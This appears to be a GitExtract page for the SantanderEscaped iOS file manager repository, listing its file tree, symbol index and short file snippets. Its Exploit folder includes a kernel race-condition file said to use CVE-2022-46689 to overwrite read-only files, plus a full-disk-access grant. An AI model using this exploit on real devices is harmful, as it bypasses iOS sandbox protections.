self.catalog = newCatalog
s
gitextract_qv0ndjc7/ ├── .github/ │ └── workflows/ │ └── build.yml ├── .gitignore ├── LICENSE.md ├── Makefile ├── README.md ├── RootHelper/ │ ├── Commands.swift │ ├── Extensions.swift │ └── main.swift ├── Santander/ │ ├── AppDelegate.swift │ ├── Assets.xcassets/ │ │ ├── AccentColor.colorset/ │ │ │ └── Contents.json │ │ ├── AppIcon.appiconset/ │ │ │ └── Contents.json │ │ └── Contents.json │ ├── Base.lproj/ │ │ └── LaunchScreen.storyboard │ ├── Info.plist │ ├── Other/ │ │ ├── Alert++.swift │ │ ├── BaseLayoutAnchorSupporting.swift │ │ ├── DiffableDataSourceItem.swift │ │ ├── DirectoryMonitor.swift │ │ ├── Exploit/ │ │ │ ├── grant_full_disk_access.h │ │ │ ├── grant_full_disk_access.m │ │ │ ├── helpers.h │ │ │ ├── helpers.m │ │ │ ├── vm_unaligned_copy_switch_race.c │ │ │ └── vm_unaligned_copy_switch_race.h │ │ ├── Extensions.swift │ │ ├── GoToItem.swift │ │ ├── ImageMetadata.swift │ │ ├── LoadingValueState.swift │ │ ├── Path.swift │ │ ├── PathMetadata.swift │ │ ├── PathTransitioning.swift │ │ ├── PathType.swift │ │ ├── PathsSortMethods.swift │ │ ├── Permissions.swift │ │ ├── Preferences/ │ │ │ ├── Storage.swift │ │ │ └── UserPreferences.swift │ │ ├── RootHelper.swift │ │ └── SantanderHeader.h │ ├── SceneDelegate.swift │ └── UI/ │ ├── AppInfoViewController.swift │ ├── Editors/ │ │ ├── AssetCatalog/ │ │ │ ├── AssetCatalogCell.swift │ │ │ ├── AssetCatalogDetailsView.swift │ │ │ ├── AssetCatalogGridPreviewCell.swift │ │ │ ├── AssetCatalogRenditionViewController.swift │ │ │ ├── AssetCatalogSectionHeader.swift │ │ │ ├── AssetCatalogSidebarListView.swift │ │ │ └── AssetCatalogViewController.swift │ │ ├── Audio/ │ │ │ ├── AudioPlayerToolbarView.swift │ │ │ └── AudioPlayerViewController.swift │ │ ├── BinaryExecutionViewController.swift │ │ ├── FileEditorType.swift │ │ ├── Font/ │ │ │ ├── FontInformationViewController.swift │ │ │ └── FontViewerController.swift │ │ ├── Image/ │ │ │ ├── ImageLocationEditorViewController.swift │ │ │ ├── ImageMetadataViewController.swift │ │ │ └── ImageViewerController.swift │ │ ├── Serialized/ │ │ │ ├── SerializedArrayViewController.swift │ │ │ ├── SerializedDocumentViewController.swift │ │ │ ├── SerializedItemType.swift │ │ │ └── SerializedItemViewController.swift │ │ └── TextEditor/ │ │ ├── KeyboardSearchView.swift │ │ ├── KeyboardToolsView.swift │ │ ├── TextEditorThemeSettingsViewController.swift │ │ ├── TextFileEditorViewController.swift │ │ └── Themes.swift │ ├── FilePreviewDataSource.swift │ ├── Path/ │ │ ├── DragAndDrop.swift │ │ ├── PathGroupOwnerViewController.swift │ │ ├── PathInformationTableViewController.swift │ │ ├── PathListViewController.swift │ │ ├── PathOperationViewController.swift │ │ ├── PathPermissionsViewController.swift │ │ ├── PathSidebarListViewController.swift │ │ ├── Search.swift │ │ └── ToolbarItems.swift │ ├── SettingsTableViewController.swift │ └── TypeSelectionViewController.swift ├── Santander.xcodeproj/ │ └── project.pbxproj ├── entitlements-TS.plist └── entitlements.plist
SYMBOL INDEX (4 symbols across 1 files)
FILE: Santander/Other/Exploit/vm_unaligned_copy_switch_race.c
type context1 (line 30) | struct context1 {
type context1 (line 44) | struct context1
type context1 (line 46) | struct context1
function unaligned_copy_switch_race (line 91) | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset...
Condensed preview — 80 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (551K chars).
[
{
"path": ".github/workflows/build.yml",
"chars": 1670,
"preview": "name: CI\n\non:\n push:\n branches:\n - main\n - serena/root-helper-proper\n paths-ignore:\n - '**/*.md'\n "
},
{
"path": ".gitignore",
"chars": 181,
"preview": "Santander.xcodeproj/xcuserdata/*\nSantander.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved\nSantander"
},
{
"path": "LICENSE.md",
"chars": 1063,
"preview": "MIT License\n\nCopyright (c) 2022 Serena\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof "
},
{
"path": "Makefile",
"chars": 2375,
"preview": "# Shamelessly stolen from https://github.com/elihwyma/Pogo/blob/main/Makefile\nTARGET_CODESIGN = $(shell which ldid)\n\nAPP"
},
{
"path": "README.md",
"chars": 852,
"preview": "# Santander\nA new, enhanced File Manager for iOS devices with MDC support\n\n;\nvoid test_nsexpressions(void);\nchar* set_up_tmp_fil"
},
{
"path": "Santander/Other/Exploit/helpers.m",
"chars": 4222,
"preview": "#import <Foundation/Foundation.h>\n#include <string.h>\n#include <mach/mach.h>\n#include <dirent.h>\n\nchar* get_temp_file_pa"
},
{
"path": "Santander/Other/Exploit/vm_unaligned_copy_switch_race.c",
"chars": 11283,
"preview": "// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c\n// mo"
},
{
"path": "Santander/Other/Exploit/vm_unaligned_copy_switch_race.h",
"chars": 562,
"preview": "#pragma once\n#include <stdlib.h>\n#include <stdbool.h>\n/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `"
},
{
"path": "Santander/Other/Extensions.swift",
"chars": 22113,
"preview": "//\n// Extensions.swift\n// Santander\n//\n// Created by Serena on 21/06/2022\n//\n\n// TODO: - Move all of this to other fi"
},
{
"path": "Santander/Other/GoToItem.swift",
"chars": 2430,
"preview": "//\n// GoToItem.swift\n// Santander\n//\n// Created by Serena on 24/10/2022\n//\n\t\n\nimport UIKit\n\n/// An item displayed for"
},
{
"path": "Santander/Other/ImageMetadata.swift",
"chars": 4392,
"preview": "//\n// ImageMetadata.swift\n// Santander\n//\n// Created by Serena on 24/08/2022.\n//\n\nimport Foundation\nimport ImageIO\nim"
},
{
"path": "Santander/Other/LoadingValueState.swift",
"chars": 318,
"preview": "//\n// LoadingValueState.swift\n// Santander\n//\n// Created by Serena on 08/11/2022\n//\n\n\nimport Foundation\n\n/// Describe"
},
{
"path": "Santander/Other/Path.swift",
"chars": 4228,
"preview": "//\n// Path.swift\n// Santander\n//\n// Created by Serena on 10/02/2023.\n//\n\nimport UIKit\nimport UniformTypeIdentifiers\ni"
},
{
"path": "Santander/Other/PathMetadata.swift",
"chars": 1495,
"preview": "//\n// PathMetadata.swift\n// Santander\n//\n// Created by Serena on 04/08/2022.\n//\n\nimport Foundation\nimport UniformType"
},
{
"path": "Santander/Other/PathTransitioning.swift",
"chars": 254,
"preview": "//\n// PathTransitioning.swift\n// Santander\n//\n// Created by Serena on 12/10/2022\n//\n\n\nimport Foundation\n\n/// A Protoc"
},
{
"path": "Santander/Other/PathType.swift",
"chars": 1609,
"preview": "//\n// PathType.swift\n// Santander\n//\n// Created by Serena on 27/06/2022\n//\n\t\n\nimport UIKit\n\nextension UIViewControlle"
},
{
"path": "Santander/Other/PathsSortMethods.swift",
"chars": 3569,
"preview": "//\n// PathsSortMethods.swift\n// Santander\n//\n// Created by Serena on 24/06/2022\n//\n\t\n\nimport Foundation\n\n/// The ways"
},
{
"path": "Santander/Other/Permissions.swift",
"chars": 4216,
"preview": "//\n// Permissions.swift\n// Santander\n//\n// Created by Serena on 05/08/2022.\n//\n\nimport Foundation\n\n/// Represents the"
},
{
"path": "Santander/Other/Preferences/Storage.swift",
"chars": 1444,
"preview": "//\n// Storage.swift\n// Santander\n//\n// Created by Serena on 06/07/2022\n//\n\t\n\nimport Foundation\n\n@propertyWrapper\nstru"
},
{
"path": "Santander/Other/Preferences/UserPreferences.swift",
"chars": 5025,
"preview": "//\n// UserPreferences.swift\n// Santander\n//\n// Created by Serena on 22/06/2022\n//\n\n\nimport UIKit\n\n/// Contains user p"
},
{
"path": "Santander/Other/RootHelper.swift",
"chars": 9362,
"preview": "//\n// FSOperation.swift\n// Santander\n//\n// Created by Serena on 15/09/2022\n//\n\n\nimport Foundation\n@_exported import F"
},
{
"path": "Santander/Other/SantanderHeader.h",
"chars": 143,
"preview": "//\n// SantanderHeader.h\n// Santander\n//\n// Created by Анохин Юрий on 24.05.2023.\n//\n\n#import \"grant_full_disk_access."
},
{
"path": "Santander/SceneDelegate.swift",
"chars": 7394,
"preview": "//\n// SceneDelegate.swift\n// Santander\n//\n// Created by Serena on 21/06/2022\n//\n\n\nimport UIKit\n\nclass SceneDelegate: "
},
{
"path": "Santander/UI/AppInfoViewController.swift",
"chars": 5309,
"preview": "//\n// AppInfoViewController.swift\n// Santander\n//\n// Created by Serena on 15/08/2022.\n//\n\nimport UIKit\nimport Applica"
},
{
"path": "Santander/UI/Editors/AssetCatalog/AssetCatalogCell.swift",
"chars": 2507,
"preview": "//\n// AssetCatalogCell.swift\n// Santander\n//\n// Created by Serena on 18/09/2022\n//\n\n\nimport UIKit\nimport AssetCatalog"
},
{
"path": "Santander/UI/Editors/AssetCatalog/AssetCatalogDetailsView.swift",
"chars": 887,
"preview": "//\n// AssetCatalogDetailsView.swift\n// Santander\n//\n// Created by Serena on 27/09/2022\n//\n\n\nimport UIKit\nimport CoreU"
},
{
"path": "Santander/UI/Editors/AssetCatalog/AssetCatalogGridPreviewCell.swift",
"chars": 2346,
"preview": "//\n// AssetCatalogGridPreviewCell.swift\n// Santander\n//\n// Created by Serena on 08/10/2022\n//\n\n\nimport UIKit\nimport A"
},
{
"path": "Santander/UI/Editors/AssetCatalog/AssetCatalogRenditionViewController.swift",
"chars": 19607,
"preview": "//\n// AssetCatalogRenditionViewController.swift\n// Santander\n//\n// Created by Serena on 01/10/2022\n//\n\n\nimport UIKit\n"
},
{
"path": "Santander/UI/Editors/AssetCatalog/AssetCatalogSectionHeader.swift",
"chars": 1542,
"preview": "//\n// AssetCatalogSectionHeader.swift\n// Santander\n//\n// Created by Serena on 21/09/2022\n//\n\n\nimport UIKit\nimport Ass"
},
{
"path": "Santander/UI/Editors/AssetCatalog/AssetCatalogSidebarListView.swift",
"chars": 3793,
"preview": "//\n// AssetCatalogSidebarListView.swift\n// Santander\n//\n// Created by Serena on 27/10/2022\n//\n\n\nimport UIKit\nimport A"
},
{
"path": "Santander/UI/Editors/AssetCatalog/AssetCatalogViewController.swift",
"chars": 26207,
"preview": "//\n// AssetCatalogViewController.swift\n// Santander\n//\n// Created by Serena on 16/09/2022\n//\n\n\nimport UIKit\nimport As"
},
{
"path": "Santander/UI/Editors/Audio/AudioPlayerToolbarView.swift",
"chars": 2435,
"preview": "//\n// AudioPlayerToolbarView.swift\n// Santander\n//\n// Created by Serena on 29/08/2022.\n//\n\nimport UIKit\n\nclass AudioP"
},
{
"path": "Santander/UI/Editors/Audio/AudioPlayerViewController.swift",
"chars": 15251,
"preview": "//\n// AudioPlayerViewController.swift\n// Santander\n//\n// Created by Serena on 06/07/2022\n//\n\t\n\nimport UIKit\nimport Me"
},
{
"path": "Santander/UI/Editors/BinaryExecutionViewController.swift",
"chars": 4733,
"preview": "//\n// BinaryExecutionViewController.swift\n// Santander\n//\n// Created by Serena on 06/09/2022\n//\n\t\n\nimport UIKit\nimpor"
},
{
"path": "Santander/UI/Editors/FileEditorType.swift",
"chars": 8585,
"preview": "//\n// FileEditorType.swift\n// Santander\n//\n// Created by Serena on 16/08/2022.\n//\n\nimport UIKit\nimport AVKit\n\nstruct "
},
{
"path": "Santander/UI/Editors/Font/FontInformationViewController.swift",
"chars": 3465,
"preview": "//\n// FontInformationViewController.swift\n// Santander\n//\n// Created by Serena on 03/09/2022.\n//\n\nimport UIKit\n\n/// A"
},
{
"path": "Santander/UI/Editors/Font/FontViewerController.swift",
"chars": 6423,
"preview": "//\n// FontViewerController.swift\n// Santander\n//\n// Created by Serena on 03/09/2022.\n//\n\nimport UIKit\n\n/// A ViewCont"
},
{
"path": "Santander/UI/Editors/Image/ImageLocationEditorViewController.swift",
"chars": 5829,
"preview": "//\n// ImageLocationEditorViewController.swift\n// Santander\n//\n// Created by Serena on 25/08/2022.\n//\n\nimport UIKit\nim"
},
{
"path": "Santander/UI/Editors/Image/ImageMetadataViewController.swift",
"chars": 6413,
"preview": "//\n// ImageMetadataViewController.swift\n// Santander\n//\n// Created by Serena on 24/08/2022.\n//\n\nimport UIKit\n\n/// A V"
},
{
"path": "Santander/UI/Editors/Image/ImageViewerController.swift",
"chars": 7234,
"preview": "//\n// ImageViewerController.swift\n// Santander\n//\n// Created by Serena on 21/08/2022.\n//\n\nimport UIKit\nimport Objecti"
},
{
"path": "Santander/UI/Editors/Serialized/SerializedArrayViewController.swift",
"chars": 6476,
"preview": "//\n// SerializedArrayViewController.swift\n// Santander\n//\n// Created by Serena on 18/08/2022.\n//\n\nimport UIKit\n\nclass"
},
{
"path": "Santander/UI/Editors/Serialized/SerializedDocumentViewController.swift",
"chars": 12177,
"preview": "//\n// SerializedDocumentViewController.swift\n// Santander\n//\n// Created by Serena on 16/08/2022.\n//\n\nimport UIKit\n\nty"
},
{
"path": "Santander/UI/Editors/Serialized/SerializedItemType.swift",
"chars": 4394,
"preview": "//\n// SerializedItemType.swift\n// Santander\n//\n// Created by Serena on 17/08/2022.\n//\n\nimport Foundation\n\nenum Serial"
},
{
"path": "Santander/UI/Editors/Serialized/SerializedItemViewController.swift",
"chars": 8425,
"preview": "//\n// PropertyListItemViewController.swift\n// Santander\n//\n// Created by Serena on 17/08/2022.\n//\n\nimport UIKit\n\nclas"
},
{
"path": "Santander/UI/Editors/TextEditor/KeyboardSearchView.swift",
"chars": 8167,
"preview": "//\n// KeyboardSearchView.swift\n// Santander\n//\n// Created by Serena on 09/02/2023.\n//\n\nimport UIKit\nimport Runestone\n"
},
{
"path": "Santander/UI/Editors/TextEditor/KeyboardToolsView.swift",
"chars": 5393,
"preview": "//\n// KeyboardToolsView.swift\n// Santander\n//\n// Created by Serena on 04/07/2022\n//\n\t\nimport Runestone\nimport UIKit\n\n"
},
{
"path": "Santander/UI/Editors/TextEditor/TextEditorThemeSettingsViewController.swift",
"chars": 8246,
"preview": "//\n// TextEditorThemeSettingsViewController.swift\n// Santander\n//\n// Created by Serena on 03/07/2022\n//\n\t\n\nimport UIK"
},
{
"path": "Santander/UI/Editors/TextEditor/TextFileEditorViewController.swift",
"chars": 11174,
"preview": "//\n// TextFileEditorViewController.swift\n// Santander\n//\n// Created by Serena on 02/07/2022\n//\n\n\nimport UIKit\n// Unfo"
},
{
"path": "Santander/UI/Editors/TextEditor/Themes.swift",
"chars": 5924,
"preview": "//\n// Themes.swift\n// Santander\n//\n// Created by Serena on 03/07/2022\n//\n\t\n\nimport UIKit\nimport Runestone\n\n/// A Gene"
},
{
"path": "Santander/UI/FilePreviewDataSource.swift",
"chars": 525,
"preview": "//\n// FilePreviewDataSource.swift\n// Santander\n//\n// Created by Serena on 23/06/2022\n//\n\t\n\n\nimport QuickLook\n\nclass F"
},
{
"path": "Santander/UI/Path/DragAndDrop.swift",
"chars": 2350,
"preview": "//\n// DragAndDrop.swift\n// Santander\n//\n// Created by Serena on 24/06/2022\n//\n\n\nimport UIKit\nimport UniformTypeIdenti"
},
{
"path": "Santander/UI/Path/PathGroupOwnerViewController.swift",
"chars": 8414,
"preview": "//\n// PathGroupOwnerViewController.swift\n// Santander\n//\n// Created by Serena on 07/08/2022.\n//\n\nimport UIKit\n\n/// A "
},
{
"path": "Santander/UI/Path/PathInformationTableViewController.swift",
"chars": 8079,
"preview": "//\n// PathInformationTableViewController.swift\n// Santander\n//\n// Created by Serena on 21/06/2022\n//\n\t\n\nimport UIKit\n"
},
{
"path": "Santander/UI/Path/PathListViewController.swift",
"chars": 44379,
"preview": "//\n// PathListViewController.swift\n// Santander\n//\n// Created by Serena on 21/06/2022\n//\n\n\nimport UIKit\nimport QuickL"
},
{
"path": "Santander/UI/Path/PathOperationViewController.swift",
"chars": 5364,
"preview": "//\n// PathOperationViewController.swift\n// Santander\n//\n// Created by Serena on 24/06/2022\n//\n\nimport UIKit\nimport Qu"
},
{
"path": "Santander/UI/Path/PathPermissionsViewController.swift",
"chars": 8227,
"preview": "//\n// PathPermissionsViewController.swift\n// Santander\n//\n// Created by Serena on 05/08/2022.\n//\n\nimport UIKit\n\nclass"
},
{
"path": "Santander/UI/Path/PathSidebarListViewController.swift",
"chars": 8685,
"preview": "//\n// PathSidebarListViewController.swift\n// Santander\n//\n// Created by Serena on 25/06/2022\n//\n\t\n\nimport UIKit\n\n#war"
},
{
"path": "Santander/UI/Path/Search.swift",
"chars": 8011,
"preview": "//\n// Search.swift\n// Santander\n//\n// Created by Serena on 25/06/2022\n//\n\t\n\nimport UIKit\nimport UniformTypeIdentifier"
},
{
"path": "Santander/UI/Path/ToolbarItems.swift",
"chars": 6843,
"preview": "//\n// ToolbarItems.swift\n// Santander\n//\n// Created by Serena on 04/08/2022.\n//\n\nimport UIKit\nimport CompressionWrapp"
},
{
"path": "Santander/UI/SettingsTableViewController.swift",
"chars": 11798,
"preview": "//\n// SettingsTableViewController.swift\n// Santander\n//\n// Created by Serena on 24/06/2022\n//\n\n\nimport UIKit\nimport L"
},
{
"path": "Santander/UI/TypeSelectionViewController.swift",
"chars": 8174,
"preview": "//\n// TypeSelectionViewController.swift\n// Santander\n//\n// Created by Serena on 01/07/2022\n//\n\t\n\nimport UIKit\nimport "
},
{
"path": "Santander.xcodeproj/project.pbxproj",
"chars": 62400,
"preview": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 55;\n\tobjects = {\n\n/* Begin PBXBuildFile section *"
},
{
"path": "entitlements-TS.plist",
"chars": 10884,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "entitlements.plist",
"chars": 893,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
}
]
About this extraction
This page contains the full source code of the haxi0/SantanderEscaped GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 80 files (511.7 KB), approximately 123.6k tokens, and a symbol index with 4 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.